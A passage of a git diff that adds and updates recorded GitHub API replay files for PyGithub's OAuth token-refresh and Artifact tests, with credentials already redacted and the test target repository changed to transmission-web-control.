productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ wss://*.actions.githubusercontent.com github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com objects-origin.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED9C:7D77:4AD94EB:4B9CB5D:6480DA40')] +{"access_token":"another_access_token_removed","expires_in":28800,"refresh_token":"another_refresh_token_removed","refresh_token_expires_in":15811200,"token_type":"bearer","scope":""} diff --git a/tests/ReplayData/ApplicationOAuth.testRefreshAccessTokenBadCode.txt b/tests/ReplayData/ApplicationOAuth.testRefreshAccessTokenBadCode.txt new file mode 100644 index 0000000000..8138b1dd8b --- /dev/null +++ b/tests/ReplayData/ApplicationOAuth.testRefreshAccessTokenBadCode.txt @@ -0,0 +1,10 @@ +https +POST +github.com +None +/login/oauth/access_token +{'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} +{"client_id": "client_id_removed", "client_secret": "client_secret_removed", "grant_type": "refresh_token", "refresh_token": "oauth_code_removed"} +200 +[('Date', 'Fri, 25 Jan 2019 11:06:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Vary', 'X-PJAX, Accept-Encoding'), ('ETag', 'W/"deebfe47f0039427b39ec010749014f6"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Set-Cookie', 'has_recent_activity=1; path=/; expires=Fri, 25 Jan 2019 12:06:38 -0000, ignored_unsupported_browser_notice=false; path=/'), ('X-Request-Id', 'ed8794eb-dc95-481f-8e52-2cd5db0494a0'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C8AC:1D8B2:126D746:1BF8DE4:5C4AEDBE')] +{"error":"bad_verification_code","error_description":"The code passed is incorrect or expired.","error_uri":"https://docs.github.com/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors/#bad-verification-code"} diff --git a/tests/ReplayData/ApplicationOAuth.testRefreshAccessTokenUnknownError.txt b/tests/ReplayData/ApplicationOAuth.testRefreshAccessTokenUnknownError.txt new file mode 100644 index 0000000000..a36053da27 --- /dev/null +++ b/tests/ReplayData/ApplicationOAuth.testRefreshAccessTokenUnknownError.txt @@ -0,0 +1,10 @@ +https +POST +github.com +None +/login/oauth/access_token +{'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} +{"client_id": "client_id_removed", "client_secret": "client_secret_removed", "grant_type": "refresh_token", "refresh_token": "oauth_code_removed"} +200 +[('Date', 'Fri, 25 Jan 2019 11:06:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Vary', 'X-PJAX, Accept-Encoding'), ('ETag', 'W/"deebfe47f0039427b39ec010749014f6"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Set-Cookie', 'has_recent_activity=1; path=/; expires=Fri, 25 Jan 2019 12:06:38 -0000, ignored_unsupported_browser_notice=false; path=/'), ('X-Request-Id', 'ed8794eb-dc95-481f-8e52-2cd5db0494a0'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C8AC:1D8B2:126D746:1BF8DE4:5C4AEDBE')] +{"error":"some_unknown_error"} diff --git a/tests/ReplayData/Artifact.setUp.txt b/tests/ReplayData/Artifact.setUp.txt index d4c526072f..6ff022b814 100644 --- a/tests/ReplayData/Artifact.setUp.txt +++ b/tests/ReplayData/Artifact.setUp.txt @@ -2,10 +2,9 @@ https GET api.github.com None -/repos/github/vscode-codeql +/repos/transmission-web-control/transmission-web-control {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Server', 'GitHub.com'), ('Date', 'Wed, 28 Sep 2022 11:31:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b8996d1d847bfa31020b23f12f995dc133b73619849c219cd1868e168b90f6fa"'), ('Last-Modified', 'Sat, 24 Sep 2022 16:33:41 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '45'), ('X-RateLimit-Reset', '1664368108'), ('X-RateLimit-Used', '15'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AB34:5240:1F7B70F:1FF54F1:63343096')] -{"id":211169016,"node_id":"MDEwOlJlcG9zaXRvcnkyMTExNjkwMTY=","name":"vscode-codeql","full_name":"github/vscode-codeql","private":false,"owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/github/vscode-codeql","description":"An extension for Visual Studio Code that adds rich language support for CodeQL","fork":false,"url":"https://api.github.com/repos/github/vscode-codeql","forks_url":"https://api.github.com/repos/github/vscode-codeql/forks","keys_url":"https://api.github.com/repos/github/vscode-codeql/keys{/key_id}","collaborators_url":"https://api.github.com/repos/github/vscode-codeql/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/github/vscode-codeql/teams","hooks_url":"https://api.github.com/repos/github/vscode-codeql/hooks","issue_events_url":"https://api.github.com/repos/github/vscode-codeql/issues/events{/number}","events_url":"https://api.github.com/repos/github/vscode-codeql/events","assignees_url":"https://api.github.com/repos/github/vscode-codeql/assignees{/user}","branches_url":"https://api.github.com/repos/github/vscode-codeql/branches{/branch}","tags_url":"https://api.github.com/repos/github/vscode-codeql/tags","blobs_url":"https://api.github.com/repos/github/vscode-codeql/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/github/vscode-codeql/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/github/vscode-codeql/git/refs{/sha}","trees_url":"https://api.github.com/repos/github/vscode-codeql/git/trees{/sha}","statuses_url":"https://api.github.com/repos/github/vscode-codeql/statuses/{sha}","languages_url":"https://api.github.com/repos/github/vscode-codeql/languages","stargazers_url":"https://api.github.com/repos/github/vscode-codeql/stargazers","contributors_url":"https://api.github.com/repos/github/vscode-codeql/contributors","subscribers_url":"https://api.github.com/repos/github/vscode-codeql/subscribers","subscription_url":"https://api.github.com/repos/github/vscode-codeql/subscription","commits_url":"https://api.github.com/repos/github/vscode-codeql/commits{/sha}","git_commits_url":"https://api.github.com/repos/github/vscode-codeql/git/commits{/sha}","comments_url":"https://api.github.com/repos/github/vscode-codeql/comments{/number}","issue_comment_url":"https://api.github.com/repos/github/vscode-codeql/issues/comments{/number}","contents_url":"https://api.github.com/repos/github/vscode-codeql/contents/{+path}","compare_url":"https://api.github.com/repos/github/vscode-codeql/compare/{base}...{head}","merges_url":"https://api.github.com/repos/github/vscode-codeql/merges","archive_url":"https://api.github.com/repos/github/vscode-codeql/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/github/vscode-codeql/downloads","issues_url":"https://api.github.com/repos/github/vscode-codeql/issues{/number}","pulls_url":"https://api.github.com/repos/github/vscode-codeql/pulls{/number}","milestones_url":"https://api.github.com/repos/github/vscode-codeql/milestones{/number}","notifications_url":"https://api.github.com/repos/github/vscode-codeql/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/github/vscode-codeql/labels{/name}","releases_url":"https://api.github.com/repos/github/vscode-codeql/releases{/id}","deployments_url":"https://api.github.com/repos/github/vscode-codeql/deployments","created_at":"2019-09-26T19:44:53Z","updated_at":"2022-09-24T16:33:41Z","pushed_at":"2022-09-28T11:20:36Z","git_url":"git://github.com/github/vscode-codeql.git","ssh_url":"git@github.com:github/vscode-codeql.git","clone_url":"https://github.com/github/vscode-codeql.git","svn_url":"https://github.com/github/vscode-codeql","homepage":"","size":9461,"stargazers_count":311,"watchers_count":311,"language":"TypeScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":165,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":138,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["codeql","vscode","vscode-extension","works-with-codespaces"],"visibility":"public","forks":165,"open_issues":138,"watchers":311,"default_branch":"main","temp_clone_token":null,"organization":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"network_count":165,"subscribers_count":28} - +[('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"60d4519044dda2b5c9593f4aa02b569a78ec686f39aa039dd00455707d723d9f"'), ('Last-Modified', 'Thu, 01 Jun 2023 07:39:48 GMT'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4680'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '320'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EB88:1556:436041:46EAA0:64785E28')] +{"id":631628708,"node_id":"R_kgDOJaXjpA","name":"transmission-web-control","full_name":"transmission-web-control/transmission-web-control","private":false,"owner":{"login":"transmission-web-control","id":131607464,"node_id":"O_kgDOB9grqA","avatar_url":"https://avatars.githubusercontent.com/u/131607464?v=4","gravatar_id":"","url":"https://api.github.com/users/transmission-web-control","html_url":"https://github.com/transmission-web-control","followers_url":"https://api.github.com/users/transmission-web-control/followers","following_url":"https://api.github.com/users/transmission-web-control/following{/other_user}","gists_url":"https://api.github.com/users/transmission-web-control/gists{/gist_id}","starred_url":"https://api.github.com/users/transmission-web-control/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/transmission-web-control/subscriptions","organizations_url":"https://api.github.com/users/transmission-web-control/orgs","repos_url":"https://api.github.com/users/transmission-web-control/repos","events_url":"https://api.github.com/users/transmission-web-control/events{/privacy}","received_events_url":"https://api.github.com/users/transmission-web-control/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/transmission-web-control/transmission-web-control","description":"maintained fork of ronggang/transmission-web-control","fork":false,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control","forks_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/forks","keys_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/keys{/key_id}","collaborators_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/teams","hooks_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/hooks","issue_events_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues/events{/number}","events_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/events","assignees_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/assignees{/user}","branches_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/branches{/branch}","tags_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/tags","blobs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/refs{/sha}","trees_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/trees{/sha}","statuses_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/statuses/{sha}","languages_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/languages","stargazers_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/stargazers","contributors_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/contributors","subscribers_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/subscribers","subscription_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/subscription","commits_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/commits{/sha}","git_commits_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/commits{/sha}","comments_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/comments{/number}","issue_comment_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues/comments{/number}","contents_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/contents/{+path}","compare_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/compare/{base}...{head}","merges_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/merges","archive_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/downloads","issues_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues{/number}","pulls_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/pulls{/number}","milestones_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/milestones{/number}","notifications_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/labels{/name}","releases_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/releases{/id}","deployments_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/deployments","created_at":"2023-04-23T16:14:17Z","updated_at":"2023-06-01T07:39:48Z","pushed_at":"2023-05-31T22:12:53Z","git_url":"git://github.com/transmission-web-control/transmission-web-control.git","ssh_url":"git@github.com:transmission-web-control/transmission-web-control.git","clone_url":"https://github.com/transmission-web-control/transmission-web-control.git","svn_url":"https://github.com/transmission-web-control/transmission-web-control","homepage":"","size":28072,"stargazers_count":79,"watchers_count":79,"language":"CSS","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":6,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":9,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["transmission","transmission-web-control"],"visibility":"public","forks":6,"open_issues":9,"watchers":79,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"BLANK","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","organization":{"login":"transmission-web-control","id":131607464,"node_id":"O_kgDOB9grqA","avatar_url":"https://avatars.githubusercontent.com/u/131607464?v=4","gravatar_id":"","url":"https://api.github.com/users/transmission-web-control","html_url":"https://github.com/transmission-web-control","followers_url":"https://api.github.com/users/transmission-web-control/followers","following_url":"https://api.github.com/users/transmission-web-control/following{/other_user}","gists_url":"https://api.github.com/users/transmission-web-control/gists{/gist_id}","starred_url":"https://api.github.com/users/transmission-web-control/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/transmission-web-control/subscriptions","organizations_url":"https://api.github.com/users/transmission-web-control/orgs","repos_url":"https://api.github.com/users/transmission-web-control/repos","events_url":"https://api.github.com/users/transmission-web-control/events{/privacy}","received_events_url":"https://api.github.com/users/transmission-web-control/received_events","type":"Organization","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":6,"subscribers_count":3} diff --git a/tests/ReplayData/Artifact.testDelete.txt b/tests/ReplayData/Artifact.testDelete.txt index b678955715..39d9033f66 100644 --- a/tests/ReplayData/Artifact.testDelete.txt +++ b/tests/ReplayData/Artifact.testDelete.txt @@ -41,4 +41,3 @@ None 404 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Oct 2022 11:21:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-12-12 11:42:35 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1665662666'), ('X-RateLimit-Used', '17'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D168:1AFB:3CAF4A2:3D97D08:6347F4B6')] {"message":"Not Found","documentation_url":"https://docs.github.com/rest/reference/actions#get-an-artifact"} - diff --git a/tests/ReplayData/Artifact.testGetArtifactsFromRepo.txt b/tests/ReplayData/Artifact.testGetArtifactsFromRepo.txt index 5b88f34ca5..7dcb0f2c72 100644 --- a/tests/ReplayData/Artifact.testGetArtifactsFromRepo.txt +++ b/tests/ReplayData/Artifact.testGetArtifactsFromRepo.txt @@ -2,10 +2,9 @@ https GET api.github.com None -/repos/github/vscode-codeql/actions/artifacts +/repos/transmission-web-control/transmission-web-control/actions/artifacts {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Server', 'GitHub.com'), ('Date', 'Wed, 28 Sep 2022 11:31:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fc70d5ff8044f680191934066321f0416508888f32bbc22bd5d35732150314db"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '49'), ('X-RateLimit-Reset', '1664368108'), ('X-RateLimit-Used', '11'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AB0C:45A2:1FA6467:2021BC5:63343094')] -{"total_count":4665,"artifacts":[{"id":379052698,"node_id":"MDg6QXJ0aWZhY3QzNzkwNTI2OTg=","name":"vscode-codeql-extension","size_in_bytes":16531611,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/379052698","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/379052698/zip","expired":false,"created_at":"2022-09-28T11:03:05Z","updated_at":"2022-09-28T11:03:07Z","expires_at":"2022-12-27T10:50:40Z","workflow_run":{"id":3142894849,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"elenatanasoiu/monitor-variant-analysis","head_sha":"e4de8c6b9b9eeb1b3db3be2f6938f0b54ebefb45"}},{"id":379039916,"node_id":"MDg6QXJ0aWZhY3QzNzkwMzk5MTY=","name":"vscode-codeql-extension","size_in_bytes":16531613,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/379039916","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/379039916/zip","expired":false,"created_at":"2022-09-28T10:50:45Z","updated_at":"2022-09-28T10:50:46Z","expires_at":"2022-12-27T10:36:55Z","workflow_run":{"id":3142811811,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"elenatanasoiu/monitor-variant-analysis","head_sha":"e4de8c6b9b9eeb1b3db3be2f6938f0b54ebefb45"}},{"id":379034077,"node_id":"MDg6QXJ0aWZhY3QzNzkwMzQwNzc=","name":"vscode-codeql-extension","size_in_bytes":16531613,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/379034077","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/379034077/zip","expired":false,"created_at":"2022-09-28T10:44:50Z","updated_at":"2022-09-28T10:44:51Z","expires_at":"2022-12-27T10:32:15Z","workflow_run":{"id":3142785077,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"elenatanasoiu/monitor-variant-analysis","head_sha":"74d1747f0648d732d27ca691ac8fdb2bc31393a9"}},{"id":378970214,"node_id":"MDg6QXJ0aWZhY3QzNzg5NzAyMTQ=","name":"vscode-codeql-extension","size_in_bytes":16528288,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/378970214","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/378970214/zip","expired":false,"created_at":"2022-09-28T09:47:51Z","updated_at":"2022-09-28T09:47:52Z","expires_at":"2022-12-27T09:36:05Z","workflow_run":{"id":3142419796,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"koesie10/refactor-raw-results-table","head_sha":"e3e2fcc3498ab7d945a9e58f7c1458171ab0a5a7"}},{"id":378965760,"node_id":"MDg6QXJ0aWZhY3QzNzg5NjU3NjA=","name":"vscode-codeql-extension","size_in_bytes":16531377,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/378965760","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/378965760/zip","expired":false,"created_at":"2022-09-28T09:44:05Z","updated_at":"2022-09-28T09:44:07Z","expires_at":"2022-12-27T09:36:35Z","workflow_run":{"id":3142423725,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"elenatanasoiu/monitor-variant-analysis","head_sha":"c96a388ca2247e91234ed80b5741ad051f7080be"}},{"id":378928202,"node_id":"MDg6QXJ0aWZhY3QzNzg5MjgyMDI=","name":"vscode-codeql-extension","size_in_bytes":16531345,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/378928202","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/378928202/zip","expired":false,"created_at":"2022-09-28T09:12:15Z","updated_at":"2022-09-28T09:12:17Z","expires_at":"2022-12-27T09:04:05Z","workflow_run":{"id":3142191438,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"elenatanasoiu/monitor-variant-analysis","head_sha":"1d6563a2d365e0b437c15c98d2d031b7a9895a1a"}},{"id":377794425,"node_id":"MDg6QXJ0aWZhY3QzNzc3OT